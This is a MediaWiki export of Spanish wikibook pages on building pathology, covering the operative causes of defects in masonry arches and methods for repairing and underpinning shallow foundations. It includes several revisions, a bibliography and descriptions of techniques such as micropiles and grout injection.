Se clasifican los tipos de causas operativas en función de las etapas del proceso constructivo donde se pueden cometer los errores que permiten la aparición de los mencionados factores. Distinguimos cuatro fases diferentes : 

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De proyecto|De Proyecto]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas//De ejecución|De Ejecución]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De mantenimiento y uso|De Mantenimiento y Uso]]'''

''Bibliografía Consultada''

Toda la bibliografía consultada se encuentra en la Biblioteca de la Escuela Técnica Superior de Arquitectura de Madrid. Universidad Politécnica de Madrid, España.
*Juan Monjo. ''Patología de cerramientos y acabados arquitectónicos''
*Barry A. Richardson. ''Remedial Treatment of Buildings''. The Construction Press.
*Feld. ''Fallos Técnicos en la Construcción''. Edit. Limusa
*COAATM. ''Tratamiento y conservación de la piedra en los monumentos''
*Martin E. Weaver, John Wiley &amp; Sons, Inc. ''Conserving Buildings. Guide to Techniques and Materials''
*John Warren. ''Conservation of brick''. Butterworth Heinemann
*Giuseppe Rocchi. ''Istituzioni di Restauro dei Beni Architettonici e Ambientali''
entre otros

{{AutoCat}}</text>
      <sha1>ssbwa90ozp5vd6levlqeaqnjx8052nl</sha1>
    </revision>
    <revision>
      <id>430137</id>
      <parentid>430132</parentid>
      <timestamp>2026-08-02T11:46:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430137</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1628" sha1="q731uxr44r5stu86z2ksrmww1b24odu" xml:space="preserve">Son cada uno de los factores inherentes a la unidad constructiva (factores de composición química, de forma o disposición) consecuencia de su selección o de su diseño defectuoso que, al anularse con la acción de la causa directa, posibilitan la aparición del proceso.
Se clasifican los tipos de causas operativas en función de las etapas del proceso constructivo donde se pueden cometer los errores que permiten la aparición de los mencionados factores. Distinguimos cuatro fases diferentes : 

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De proyecto|De Proyecto]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De ejecución|De Ejecución]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De mantenimiento y uso|De Mantenimiento y Uso]]'''

''Bibliografía Consultada''

Toda la bibliografía consultada se encuentra en la Biblioteca de la Escuela Técnica Superior de Arquitectura de Madrid. Universidad Politécnica de Madrid, España.
*Juan Monjo. ''Patología de cerramientos y acabados arquitectónicos''
*Barry A. Richardson. ''Remedial Treatment of Buildings''. The Construction Press.
*Feld. ''Fallos Técnicos en la Construcción''. Edit. Limusa
*COAATM. ''Tratamiento y conservación de la piedra en los monumentos''
*Martin E. Weaver, John Wiley &amp; Sons, Inc. ''Conserving Buildings. Guide to Techniques and Materials''
*John Warren. ''Conservation of brick''. Butterworth Heinemann
*Giuseppe Rocchi. ''Istituzioni di Restauro dei Beni Architettonici e Ambientali''
entre otros

{{AutoCat}}</text>
      <sha1>q731uxr44r5stu86z2ksrmww1b24odu</sha1>
    </revision>
    <revision>
      <id>430141</id>
      <parentid>430137</parentid>
      <timestamp>2026-08-02T11:47:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430141</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1641" sha1="6hux7wd1mfzdga288bzis198juf6pir" xml:space="preserve">Son cada uno de los factores inherentes a la unidad constructiva (factores de composición química, de forma o disposición) consecuencia de su selección o de su diseño defectuoso que, al anularse con la acción de la causa directa, posibilitan la aparición del proceso.
Se clasifican los tipos de causas operativas en función de las etapas del proceso constructivo donde se pueden cometer los errores que permiten la aparición de los mencionados factores. Distinguimos cuatro fases diferentes : 

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De proyecto|De Proyecto]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De ejecución|De Ejecución]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De mantenimiento y uso|De Mantenimiento y Uso]]'''

''Bibliografía Consultada''

Toda la bibliografía consultada se encuentra en la Biblioteca de la Escuela Técnica Superior de Arquitectura de Madrid. Universidad Politécnica de Madrid, España.
*Juan Monjo. ''Patología de cerramientos y acabados arquitectónicos''
*Barry A. Richardson. ''Remedial Treatment of Buildings''. The Construction Press.
*Feld. ''Fallos Técnicos en la Construcción''. Edit. Limusa
*COAATM. ''Tratamiento y conservación de la piedra en los monumentos''
*Martin E. Weaver, John Wiley &amp; Sons, Inc. ''Conserving Buildings. Guide to Techniques and Materials''
*John Warren. ''Conservation of brick''. Butterworth Heinemann
*Giuseppe Rocchi. ''Istituzioni di Restauro dei Beni Architettonici e Ambientali''
entre otros

{{AutoCat}}

{{AutoCat}}</text>
      <sha1>6hux7wd1mfzdga288bzis198juf6pir</sha1>
    </revision>
    <revision>
      <id>430142</id>
      <parentid>430141</parentid>
      <timestamp>2026-08-02T11:48:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430142</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1628" sha1="q731uxr44r5stu86z2ksrmww1b24odu" xml:space="preserve">Son cada uno de los factores inherentes a la unidad constructiva (factores de composición química, de forma o disposición) consecuencia de su selección o de su diseño defectuoso que, al anularse con la acción de la causa directa, posibilitan la aparición del proceso.
Se clasifican los tipos de causas operativas en función de las etapas del proceso constructivo donde se pueden cometer los errores que permiten la aparición de los mencionados factores. Distinguimos cuatro fases diferentes : 

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De proyecto|De Proyecto]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De ejecución|De Ejecución]]'''

'''[[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De mantenimiento y uso|De Mantenimiento y Uso]]'''

''Bibliografía Consultada''

Toda la bibliografía consultada se encuentra en la Biblioteca de la Escuela Técnica Superior de Arquitectura de Madrid. Universidad Politécnica de Madrid, España.
*Juan Monjo. ''Patología de cerramientos y acabados arquitectónicos''
*Barry A. Richardson. ''Remedial Treatment of Buildings''. The Construction Press.
*Feld. ''Fallos Técnicos en la Construcción''. Edit. Limusa
*COAATM. ''Tratamiento y conservación de la piedra en los monumentos''
*Martin E. Weaver, John Wiley &amp; Sons, Inc. ''Conserving Buildings. Guide to Techniques and Materials''
*John Warren. ''Conservation of brick''. Butterworth Heinemann
*Giuseppe Rocchi. ''Istituzioni di Restauro dei Beni Architettonici e Ambientali''
entre otros

{{AutoCat}}</text>
      <sha1>q731uxr44r5stu86z2ksrmww1b24odu</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De proyecto</title>
    <ns>0</ns>
    <id>13780</id>
    <revision>
      <id>430134</id>
      <parentid>123842</parentid>
      <timestamp>2026-08-02T11:45:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430134</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1212" sha1="m99y1i992u5vg27eyzdgh7t8suo3cot" xml:space="preserve">Engloba el conjunto de errores cometidos, tanto en la toma de decisiones respecto al material a emplear (su constitución fisicoquímica) o a la técnica o sistemas constructivos, como en el diseño de los elementos y unidades constructivas (su forma, sus características fisicomecánicas) y, sobre todo, de sus encuentros (detalles de uniones y juntas, en general). Así distinguimos los siguientes tipos de causas indirectas de proyecto :

*Errónea elección de material, o falta de definición (especificaciín físicoquímica)
Técnica o sistema constructivo inadecuados, tanto por el tipo de material, como por la función constructiva que debe cumplir la unidad o elemento en cuestión.
*Diseño defectuosos del elemento constructivo, sin la forma o dimensión adecuadas (vierteaguas sin goterón, vigas con poco canto, etc.)
*Falta de estudio y diseño de encuentros y juntas entre materiales y elementos, con problemas de filtraciones, desplazamientos, grietas, etc.
Estos defectos pueden darse, no sólo por el error en sí de diseño o de selección,  sino simplemente, por falta de definición suficiente, lo que se traduce en un pliego de condiciones técnicas defectuoso o incompleto.

{{AutoCat}}</text>
      <sha1>m99y1i992u5vg27eyzdgh7t8suo3cot</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De ejecución</title>
    <ns>0</ns>
    <id>13781</id>
    <revision>
      <id>430135</id>
      <parentid>123846</parentid>
      <timestamp>2026-08-02T11:45:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430135</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1005" sha1="rqf7tkblltd5dmk1wdjq65ogwxztlab" xml:space="preserve">Comprende todos aquellos factores inherentes a la obra construida que provienen de errores en la ejecución de la misma o de cada una de sus unidades, partiendo de la base que están salvados los posibles errores de proyecto mencionados en el punto anterior, tanto de elección de material o sistema, como de diseño constructivo.
En general, se trata de la falta de cumplimiento de las condiciones técnicas, o especificaciones indicadas en el pliego.
Es tan grande el número de errores posibles y tan variados, que seria inútil intentar hacer una clasificación en subtítulos. Pero podemos mencionar algunos ejemplos más corrientes de errores de ejecución, como la defectuosa colocación de armaduras en pilares y vigas, o el mal vibrado y curado de hormigones y morteros, o el alicatado de paramentos exteriores sin llaga ni juntas de retracción, o la unión de tablero horizontal y peto de terrazas con la membrana impermeable, o el uso de morteros muy ricos para revocos, etc. etc.

{{AutoCat}}</text>
      <sha1>rqf7tkblltd5dmk1wdjq65ogwxztlab</sha1>
    </revision>
    <revision>
      <id>430136</id>
      <parentid>430135</parentid>
      <timestamp>2026-08-02T11:46:22Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <comment>Mazbel trasladó la página [[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas//De ejecución]] a [[Patología de la edificación/Estructuras de fábrica/Arcos/Causas operativas/De ejecución]] sin dejar una redirección</comment>
      <origin>430135</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1005" sha1="rqf7tkblltd5dmk1wdjq65ogwxztlab" xml:space="preserve">Comprende todos aquellos factores inherentes a la obra construida que provienen de errores en la ejecución de la misma o de cada una de sus unidades, partiendo de la base que están salvados los posibles errores de proyecto mencionados en el punto anterior, tanto de elección de material o sistema, como de diseño constructivo.
En general, se trata de la falta de cumplimiento de las condiciones técnicas, o especificaciones indicadas en el pliego.
Es tan grande el número de errores posibles y tan variados, que seria inútil intentar hacer una clasificación en subtítulos. Pero podemos mencionar algunos ejemplos más corrientes de errores de ejecución, como la defectuosa colocación de armaduras en pilares y vigas, o el mal vibrado y curado de hormigones y morteros, o el alicatado de paramentos exteriores sin llaga ni juntas de retracción, o la unión de tablero horizontal y peto de terrazas con la membrana impermeable, o el uso de morteros muy ricos para revocos, etc. etc.

{{AutoCat}}</text>
      <sha1>rqf7tkblltd5dmk1wdjq65ogwxztlab</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Reparación</title>
    <ns>0</ns>
    <id>13791</id>
    <revision>
      <id>430116</id>
      <parentid>365536</parentid>
      <timestamp>2026-08-02T11:43:21Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430116</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="29657" sha1="kjzhbzumvxg7p1xod0q3y805qc3kirb" xml:space="preserve">==Criterios generales de intervencion en cimentaciones.==

La intervención en la cimentación tiene básicamente dos objetivos. Detener y corregir las deformaciones y eliminar o controlar las causas que las originan. 

La eliminación de las causas de los fallos es una operación inevitable, para que nuevos problemas no vuelvan a aparecer, aunque no siempre se puede realizar de manera total. Otra operación es la de restituir el edifico a su posición original, aunque se trata de un método complicado y costoso, con lo que se limita a casos extremos.

La elección de la solución que se adopte está íntimamente relacionada con la forma de ejecución de la misma, la cual debe estar correctamente proyectada y planificada. Hay que saber que las reparaciones en cimentaciones son un proceso delicado y que pueden presentar complicaciones imprevistas durante su ejecución que alarguen los plazos o encarezcan la intervención.

Asimismo, se deberá tener en cuenta que la estructura suele estar en un estado de estabilidad más precario durante la realización de los trabajos que antes del inicio de los mismos, y que las anomalías no cesarán en el instante de terminarse el recalce o tratamiento, sino que precisarán un cierto período de estabilización y puesta en carga.

Existen distintos tipos de intervenciones.

Las intervenciones superficiales suponen una mayoría de los casos y se basan en la mejora de los cimientos existentes actuando diréctamente sobre ellos.

Las intervenciones profundas se realizan mediante pozos, pilotes, y muros pantalla y se centran en el refuerzo o sustitución 
mediante pilotes.

También se trata, como tema aparte, el caso de los muros de sotano por su carácter intermedio entre cimentación superficial y profunda.

Otro grupo aparte de intervenciones son las que actúan sobre el terreno de forma complementaria a una intervención directa o individualmente. Estas técnicas en ocasiones tienen carácter preventivo.

== Intervenciones superficiales. ==

En el caso de las cimentaciones superficiales existen tres tipos básicos de actuación: refuerzo, ampliación y sustitución.

'''Refuerzo:''' Utilizada cuando el área de apoyo es suficiente pero la cimentación es insuficiente.

'''Ampliación:''' Cuando la cimentación es adecuada y se conserva bien pero no tiene suficiente area de apoyo.

'''Sustitución:''' Cuando ni el refuerzo ni la ampliación son viables por excesivo deterioro o complicaciones de realización.


=== Refuerzo. ===

==== Refuerzo mediante inyección. ====

El refuerzo de una cimentación por inyección consiste en rellenar con mortero de cemento los huecos en el macizo de la cimentación. Al fraguar el mortero, el macizo de cimentación adquiere cohesión ganando resistencia suficiente para seguir cumpliendo su función.

Este sistema es adecuado en edificios antiguos que poseen macizos de cimentación de mampostería en seco, gravas o incluso cascote, que como mucho pueden tener un aglomerante degradado y bajo en dosificación. También puede ser utilizado en algunos hormigones demasiado pobres, de mala granulometría y con muchos huecos. Los espacios huecos deben estar comunicados para que funcione la inyección.

El refuerzo por inyección tiene la ventaja de que la puesta en carga queda hecha en la misma operación. El mayor problema se halla, en que es una operación ciega y no se puede saber si ha quedado correctamente inyectada toda la masa. Si el terreno colindante es permeable a la inyección, esta puede perderse en huecos innecesarios y no ser efectiva.

Para evitar este accidente, la inyección debe comenzar en el fondo y el contorno de la cimentación, esperar su fraguado para conseguir una franja impermeable y terminar la operación, siempre de abajo hacia arriba, controlando el volumen de mortero usado. Si existe la posibilidad de fugas se puede solucionar hincando tablestacas o construyendo muretes auxiliares alrededor del cimiento.

[[Archivo:Inyecciones.jpg|200px|thumb|right|Inyecciones]]


==== Refuerzo mediante introducción de armaduras. ====

Este tipo de refuerzo consiste, en introducir armaduras adicionales taladrando el cimiento lateralmente. Posteriormente se tensan las armaduras y se inyectan con resinas produciendo un post-tensado de la zapata. Esta es una operación delicada y ya que los taladros deben tener gran precisión de ejecución.

Es una solución utilizada cuando hay zapatas compuestas por un hormigón de calidad suficiente pero con una sección de acero insuficiente para soportar los esfuerzos de flexión y solo es valida si la zapata no presenta rotura alguna.

[[Archivo:Ampliacion_contorno_5.jpg|200px|thumb|right|Inyecciones]]

====Ampliación lateral de la cimentación.====		

Como su nombre indica esta reparación consiste en ampliar la zapata para aumentar la superficie de contacto con el terreno. Si es posible se aumenta también el canto por encima de la zapata, ya que no es recomendable que la nueva zapata tenga un canto demasiado pequeño en relación con su vuelo.

Existen dos tipos de ampliación. El ensanche del cimiento en su plano, cuya trabazón puede conseguirse mediante bulones, resinas, el dentado de la junta de contacto o el acuñamiento de forma y el puenteo del cimiento por encima, transmitiendo las cargas a un anillo que contornea y ensancha la cimentación. 

Este metodo se utiliza cuando la superficie de apoyo de las zapatas resulta insuficiente por trabajar a tensiones muy altas o porque los materiales que la conforman se han degradado.

Para lograr una buena unión entre los hormigones hay que preparar la superficie de contacto, picando y limpiando la zapata antigua, y conseguir un perfil de contacto óptimo entre ambas partes. Una buena adherencia puede obtenerse, también, impregnando la superficie de contacto del hormigón viejo con resinas epoxi antes de hormigonar. El hormigón nuevo debe tener una resistencia característica igual o ligeramente superior a la del existente. 

Aun así la puesta en carga no está asegurada. Por este motivo, se produce un asiento para que la zona ampliada funcione a pleno rendimiento. Este descenso de la cimentación debe ser valorado y controlado.

Este tipo de ampliación tiene la ventaja de la seguridad en la ejecución, puesto que las zapatas no son descalzadas en ningún momento. Los problemas principales son la adherencia del hormigón nuevo con el antiguo y que la puesta en carga del conjunto se consiga sin asientos excesivos. 

[[Archivo:Ensanche_zap_copia.jpg|200px|thumb|right|Ensanchamiento Zapata]]

[[Archivo:Ampliacion_contorno_2.jpg/thumb/600px/ampliación lateral del contorno]]

==== Ampliación por debajo de la cimentación. ====

Esta operación consiste en construir una zapata debajo de la existente para soportar la carga que realmente actúa o que se prevé que va a actuar. 

La operación de ampliación comienza con la descarga total del cimiento, o dejando como máximo actuar sobre el mismo el peso propio del muro o pilar de la primera planta. Incluso con la descarga total del cimiento, es prudente realizar la operación por puntos sucesivos, es decir por bataches. Lo correcto siempre es emplear morteros expansivos en la junta horizontal entre los macizos nuevo y viejo para su puesta en carga. También se pueden utilizar gatos hidráulicos, normales o planos, para conseguir una puesta en carga gradual y controlada.

Es una solución muy efectiva ya que no precisa adherencia entre hormigones ni taladros. El problema es que hay que minar la zapata existente, en fases sucesivas, por lo que es necesario descargar mediante apeos la cimentación existente.

Su realización es más sencilla y segura en cimentaciones de zapatas corridas que en zapatas aisladas. Esto es porque el recalce de la cimentación de un pilar necesita mayor cuidado en su puesta en carga que el del cimiento de un muro.

[[Archivo:cimen2.jpg|200px|thumb|right|Cimentación]]

=== Sustitución. ===
		
==== Sustitución de zapatas corridas o continuas. ====

Este método consiste en la construcción de una nueva cimentación que sustituya a la anterior, conservando o no la cimentación existente y sin contar con su colaboración estructural

En muros la sustitución se realiza por bataches, con descalce parcial de la cimentación y bajando hasta un nivel de terreno resistente. Si el muro se halla en buenas condiciones y no tiene muchos huecos no es necesaria la descarga total de este. Normalmente se realiza también un aumento del área de contacto de la nueva cimentación. En algunos casos el recalce se hace con fábrica de ladrillo, similar al muro recalzado, sobre una zapata de hormigón pero en general se construye con hormigón todo el recalce.

La sustitución por bataches es muy usada para el recalce de muros con zapata corrida ya que la propia rigidez estructural permite puentear los sucesivos huecos creados.

Los problemas fundamentales asociados con este tipo de recalces son la excavación de los bataches y la puesta en carga del nuevo cimiento.

==== Sustitución de zapatas aisladas. ====

La sustitución de zapatas aisladas consiste en la demolición completa de la zapata existente antes de la ejecución de la nueva. Esto hace que sea mucho más comprometida que la de una zapata corrida, que se puede realizar a partes parciales.

Siempre será necesaria la descarga mediante apeos, y en el caso de la zapata aislada el apuntalamiento deberá ser de máxima calidad.

La cimentación de pilastras de fábrica, con un área de apoyo sobre el cimiento relativamente amplia, aunque se trata de zapatas aisladas, pueden ser sustituidas por puntos en la mayoría de los casos. La puesta en carga debe hacerse con un mortero expansivo.

Por otro lado, la sustitución de la cimentación de pilares de acero u hormigón deberá hacerse de una sola vez, dada la escasa sección del apoyo, y el apeo deberá ser total incluyendo el peso propio del pilar desde su arranque. El apeo de la estructura es la parte más comprometida de la operación, ya que luego el procedimiento de la sustitución es sencillo: simplemente demoler el viejo cimiento y construir el nuevo. La puesta en carga se realiza con morteros expansivos o con cuñas metálicas.


[[Archivo:Cimen2.jpg|200px|thumb|right|Cimentación]]

==== Sustitución mediante puenteado. ====

Consiste en construir la nueva cimentación en los laterales o el perímetro de la existente y dirigir las cargas a la nueva cimentación mediante puentes de acero u hormigón armado.

Es un método similar a la ampliación lateral de la cimentación, pero aquí no se tiene en cuenta la colaboración del cimiento antiguo. Se trata de un procedimiento más caro que los anteriores, pues añade a los materiales empleados las piezas que deben trabajar a flexión y cuya flecha de cálculo deberá ser muy estricta. Sin embargo, es una solución más segura, puesto que la cimentación existente se mantiene durante la ejecución. 

Para que funcione correctamente las vigas deben estar bien niveladas y posicionadas. La puesta en carga se realiza con morteros expansivos o con cuñas metálicas.


[[Archivo:Puenteo_copia.jpg|200px|thumb|right|Puenteado]]

== Intervenciones en sótanos. ==

Este conjunto de técnicas se aplican en dos casos diferentes. En la rehabilitación propiamente dicha de sótanos y para la construcción de mas plantas debajo de las existentes, procedimiento muy habitual en edificios antiguos. Aquí nos vamos a centrar en las operaciones de recalce de los elementos estructurales sin detenernos en la construcción de las nuevas plantas de sótano

Ya sea la excavación por bataches o por pozos, ha de cuidarse especialmente el recorte del terreno, que será siempre manual, cuidando la verticalidad y de no socavar accidentalmente la cimentación. La operación así realizada tiene la ventaja de que, con una necesaria y constante vigilancia, sólo se deben realizar los recalzos allí donde el suelo no tenga la calidad esperada.


=== Recalce por bataches. ===

Esta es una actuación con la que se puede excavar todo el solar, excepto la zona cercana a medianeras y calles, que se deja en talud. Luego se excava en el talud hasta la medianería, construyendo el batache con una anchura que varía según la calidad del terreno y de la obra, entre 1,50 y 2 metros. Los bataches deberán distanciarse al menos dos veces su anchura, para no producir tramos de descalce muy largos. Es conveniente soportar los costados verticales de cada batache. A continuación se excava con cuidado debajo de la cimentación existente, se recalza y se realizan las operaciones deseadas de reparación o construcción. A veces el recalce no requiere continuidad y basta con hacerlo en determinados puntos. 

Este método es el más económico por su facilidad de ejecución pero solo se puede aplicar cuando la excavación no sea muy profunda, hasta 5 metros, y el suelo sea bueno, homogéneo y sin problemas de presencia de agua.

=== Recalce por pozos. ===

Para el recalce por pozos se crea un marco de hormigón alrededor del futuro pozo y luego se inyecta en el espacio interior hormigón hasta crear un bloque cementado. Al final, se regula la presión de último momento para lograr la puesta en carga Vigas superiores pueden arriostrar las cabezas de estos pozos o bien se puede contar con la losa de ese nivel para tal función.

Esta solución se usa cuando el terreno no es fiable, y las cimentaciones son antiguas y profundas, realizadas normalmente por pozos y arcos.


=== Recalces con micropilotes. ===

Este tipo de recalces se realizan con micropilotes que atraviesan la cimentación. Previa descarga de esta, se excava el entorno del recalce, se construye una zapata por debajo del nivel de sótano adherida a los pilotes, y finalmente, se forran los pilotes con hormigón para reducir la esbeltez, quedando así el recalce terminado, que tiene el inconveniente de que ocupa un espacio considerable.

Los micropilotes son muy útiles en los trabajos de recalce ya que necesitan separaciones menores, pueden atravesar cimentaciones y adherirse a las mismas y su excavación es posible en casi todo tipo de terrenos. Es útil sobre todo en cimentaciones accesibles desde su proximidad, por lo tanto, es un método de aplicación en interiores y espacios más reducidos que los habituales.


[[Archivo:Recalce por bataches.png|200px|thumb|right|Recalce por Bataches]]

[[Archivo:Pilote2.jpg|200px|thumb|right|Pilote]]

== Intervenciones profundas. ==

Las intervenciónes en profundidad siguen dos métodos básicamente.

El primero es la sustitución de la cimentacion por otra nueva, generalmente dejando la antigua pero sin función alguna. El segundo tipo de actuación es el refuerzo de la cimentación existente con nuevos pilotes, casi siempre de mejores características resistentes, pero encepados conjuntamente con los primeros.

Las reparaciones en profundidad se utilizan en diversos casos. Para sustituir un pilotaje deficiente por otro correcto o mejorar la resistencia del primero; para variar el estrato de apoyo de la cimentación por otro con una capacidad portante superior; por la presencia de terrenos inestables o niveles freáticos cerca de la superficie; porque se vayan a construir plantas por debajo del edificio; o porque se realicen obras en el entorno cercano que pueden afectar la estabilidad de las cimentaciones existentes.

Hay tres variantes principales de ejecución de los pilotes: ejecutados desde bataches abiertos bajo las cimentaciones; atravesando las cimentaciones existentes; o adosando los pilotes a las cimentaciones y transmitiendo las cargas con elementos puente.


=== Recalces por pozos profundos. ===

Es un método empleado tradicionalmente en la consolidación de cimentaciones de muros. El sistema no es válido para zapatas aisladas ya que ofrece más riesgo en su ejecución y requiere la presencia de agua en cantidades apreciables en la excavación.

El recalce profundo por pozos se realiza por puntos, de forma similar a los recalces superficiales en la sustitución de las zapatas corridas, pero con excavación de pozos hasta alcanzar el firme. Los pozos se elaboran de un ancho de 1 a 2 metros, que es el mínimo necesario para poder trabajar, y la entibación será cuajada o no según la calidad del terreno. Posteriormente, se construye la nueva cimentación y el muro de recalce, retirándose la entibación de abajo a arriba si la seguridad lo permite. Para mayor seguridad, es apropiado el empleo de un mortero expansivo para la puesta en carga del recalce. Las últimas hiladas o el retacado deberán realizarse una vez transcurrido un tiempo prudencial para dejar fraguar y retraer a las fábricas construidas.


=== Recalces mediante pilotes que rodean la cimentación. ===

Esta técnica se utiliza para transferir las cargas de grandes macizos a firmes muy profundos, sobre todo cuando hay que atravesar estratos débiles o con agua.

Es muy importante que no se produzcan fuertes vibraciones o impactos en la ejecución de los pilotes, para no afeectar al edificio, con lo cual solo podrán ser excavados con herramienta helicoidal. Este método se puede utilizar tanto para zapatas aisladas como para zapatas corridas.

Para asegurar la transferencia entre la antigua cimentación y la nueva se tallan perfiles dentados en la zapata original. En el caso de las zapatas aisladas el encepado perimetral hace un efecto de zunchado, en las continuas es necesario que los encepados estén atados mediante bulones o que exista una unión por debajo de la zapata, ya que no existe un zunchado efectivo.


[[Archivo:Pilote2.jpg|200px|thumb|right|Pilote]]

===Recalces mediante pilotes especiales debajo de la cimentación.===	

Esta operación consiste en reparar la cimentación actuando por debajo la misma. Es como el caso de los pozos de ejecución manual pero en vez de éstos se utilizan pilotes.

Los pilotes son metálicos y se empalman por tramos. Estos se hincan con la ayuda de gatos hidraulicos que se traban en la cimentacion existente y empujan los tramos de pilote, cuando esta hincado en la longitud del recorrido de los gatos y estando éstos extendidos se retiran para la colocación de una nueva seccion del pilote. Se procede así hasta que se produce el rechazo. Finalmente se introduce un pequeño pilar metálico y se retiran los gatos y se hormigona y rellena la zona.

El recalce mediante pilotes bajo la cimentación es una técnica segura, pero no es apta para cualquier tipo de terreno. La puesta en carga se realiza durante la propia ejecución lo cual puede ser muy util.


=== Recalces mediante la ampliación del número de pilotes. ===

Esta técnica consiste en la construcción de pilotes del mismo tipo, a la misma o mayor profundidad que la de los existentes.

Los pilotes se deben situar de forma simétrica y a una distancia mínima de los antiguos dejándose una holgura suficiente para la introducción de un mortero expansivo. 

La colaboración entre las cimentaciones está asegurada, pero no se sabe si el reparto de las cargas es el deseado. Por este motivo, en el caso de pilares que transmiten una carga muy grande es conveniente no contar con la colaboración de los pilotes existentes y confiar toda la carga a los nuevos.


[[Archivo:Ampliación del número de pilotes.png|200px|thumb|right|Ampliación número de pilotes]]


=== Pilotes que atraviesan las cimentaciones existentes. ===

El micropilote es un pilote de pequeño diámetro, entre los 100 y 300 mm y es un elemento estructural de empleo muy generalizado en la actualidad para tareas de recalce y consolidación de cimentaciones. Pueden ser hormigonados por gravedad o a presión, con vaina recuperable o perdida, y su capacidad portante varía, según el diámetro y tipo, entre las 10 y las 100 toneladas.

La transmisión de cargas de la cimentación antigua a la nueva suele realizarse normalmente por adherencia, si el macizo existente lo permite. Para ello la cimentación debe tener suficiente canto y resistencia. La distancia al terreno firme debe ser inferior a 20 metros dado que es dificil asegurar la integridad estructural de micropilotes tan largos. Hay que asegurarse de que el terreno atravesado no sea demasiado flojo y la hinca de los micropilotes no produzca esfuerzos no deseados. Es recomendable formar grupos numerosos de micropilotes porque se mejora notablemente la resistencia fente a la del micropilote aislado.


=== Pilotes adosados mediante cabezales de unión posteriores. ===

Se trata de pilotes verticales, con diámetros entre 30 y 60 cm, adecuados para el recalce de muros o zapatas corridas con cargas importantes, y cuando la obra permite introducir maquinaria relativamente pesada y de bastante altura.

La unión con la cimentación antigua puede conseguirse de las siguientes formas: mediante vigas pasantes que encepan los pilotes colocados a ambos lados; o con vigas longitudinales, atirantadas posteriormente, encepando los pilotes de cada lado. En ambos casos las vigas pasantes pueden ser metálicas, de hormigón armado o de hormigón pretensado.

Es importante que las reacciones de la viga sobre el cimiento sean las admisibles para los materiales adjuntos a ella, sobre todo si son mamposterías. También hay que comprobar que las flechas resultantes sean admisibles.


[[Archivo:Refuerzo de cimentaciones pilotadas..png|200px|thumb|right|Refuerzo Pilotes]]


== Intervenciones sobre el terreno. ==

Las actuaciones sobre el terreno tienen como objetivo mejorar o corregir la capacidad portante del terreno u otras características.

Al contrario que los anteriores casos, este tipo de operaciones operan sobre el terreno directamente, no sobre los cimientos. Puede ser como manera complementaria a las intervenciones sobre los cimientos o como técnica exclusiva.

La decisión suele requerir una investigación cuidadosa y una valoración detallada de las diversas soluciones tecnológicas y de sus posibilidades de éxito. Las soluciones son muy diversas. Inyecciones de cemento (lechada de cemento, gel de silice, resinas), de relleno (bentonita, cemento, poliuretanos), o de compactación (morteros viscosos). Técnicas de jet-grouting, drenaje, y otras.


=== Inyecciones. ===

Son intervenciones mediante las cuales se inyectan determinados productos en el interior de un suelo a fin de obtener mejoras, tales como, la reducción de la compresibilidad, el aumento de la resistencia o la disminución de la permeabilidad.

Los productos utilizados se inyectan en forma líquida y luego se solidifican. Habitualmente se trata de lechada de cemento, a veces con adición de bentonita, en dosificaciones agua/cemento de 1/2. Son las denominadas inyecciones convencionales. Cuando las características del terreno y/o la operación lo requieran, se puede recurrir a las inyecciones químicas, usando resinas orgánicas diluidas en agua o geles de sílice.

Se realizan bombeando el producto a través de pequeños taladros dispuestos en la superficie lateral o
en el extremo de un trépano o bien en las paredes de un tubo que se introduce en el interior de una perforación previamente realizada.

Estas operaciones son muy costosas por lo que su utilización debe ser sopesada cuidadosamente. Las inyecciones requieren del estudio previo de parametros como la estabilidad, la viscosidad, el tiempo de fraguado, la resistencia a compresión y la durabilidad. También intervienen la naturaleza del terreno a tratar, el grado de mejora que se quiere lograr y los pasos a seguir para conseguirlo. En general la difusión y penetración de las inyecciones en el terreno es muy irregular y difícilmente controlable, concentrándose en las zonas más abiertas o permeables.

